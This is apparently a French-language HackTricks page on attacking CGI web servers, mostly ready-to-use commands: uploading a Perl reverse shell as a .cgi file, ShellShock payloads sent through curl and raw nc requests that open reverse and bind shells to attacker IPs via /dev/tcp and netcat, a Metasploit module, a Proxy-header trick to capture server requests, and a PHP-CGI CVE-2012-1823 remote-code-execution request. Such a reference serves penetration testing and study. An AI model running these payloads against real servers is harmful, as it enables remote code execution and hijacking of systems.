tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Information
Les scripts CGI sont des scripts perl, donc, si vous avez compromis un serveur capable d'exécuter des .cgi scripts, vous pouvez télécharger un shell inversé perl (/usr/share/webshells/perl/perl-reverse-shell.pl
), changer l'extension de .pl à .cgi, donner les permissions d'exécution (chmod +x
) et accéder au shell inversé depuis le navigateur web pour l'exécuter.
Pour tester les vulnérabilités CGI, il est recommandé d'utiliser nikto -C all
(et tous les plugins)
ShellShock
ShellShock est une vulnérabilité qui affecte le shell de ligne de commande Bash largement utilisé dans les systÚmes d'exploitation basés sur Unix. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des variables d'environnement, qui sont des valeurs nommées dynamiques qui impactent le fonctionnement des processus sur un ordinateur. Les attaquants peuvent exploiter cela en attachant du code malveillant aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet aux attaquants de compromettre potentiellement le systÚme.
En exploitant cette vulnérabilité, la page pourrait générer une erreur.
Vous pourriez trouver cette vulnérabilité en remarquant qu'elle utilise une ancienne version d'Apache et cgi_mod (avec le dossier cgi) ou en utilisant nikto.
Test
La plupart des tests consistent Ă faire Ă©cho de quelque chose et Ă s'attendre Ă ce que cette chaĂźne soit renvoyĂ©e dans la rĂ©ponse web. Si vous pensez qu'une page peut ĂȘtre vulnĂ©rable, recherchez toutes les pages cgi et testez-les.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (réfléchi, aveugle et hors bande)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploiter
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM pour les requĂȘtes du serveur Web)
CGI crĂ©e une variable d'environnement pour chaque en-tĂȘte dans la requĂȘte http. Par exemple : "host:web.com" est crĂ©Ă© comme "HTTP_HOST"="web.com"
Comme la variable HTTP_PROXY pourrait ĂȘtre utilisĂ©e par le serveur web. Essayez d'envoyer un en-tĂȘte contenant : "Proxy: <IP_attacker>:<PORT>" et si le serveur effectue une requĂȘte pendant la session. Vous pourrez capturer chaque requĂȘte faite par le serveur.
Ancien PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Fondamentalement, si cgi est actif et que php est "ancien" (<5.3.12 / < 5.4.2) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramÚtres (surtout sans envoyer le caractÚre "=").
Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à /index.php?-s
(notez le -s
) et le code source de l'application apparaßtra dans la réponse.
Ensuite, pour obtenir RCE, vous pouvez envoyer cette requĂȘte spĂ©ciale : /?-d allow_url_include=1 -d auto_prepend_file=php://input
et le code PHP Ă exĂ©cuter dans le corps de la requĂȘte. Exemple :
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Plus d'infos sur la vulnérabilité et les exploits possibles : https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.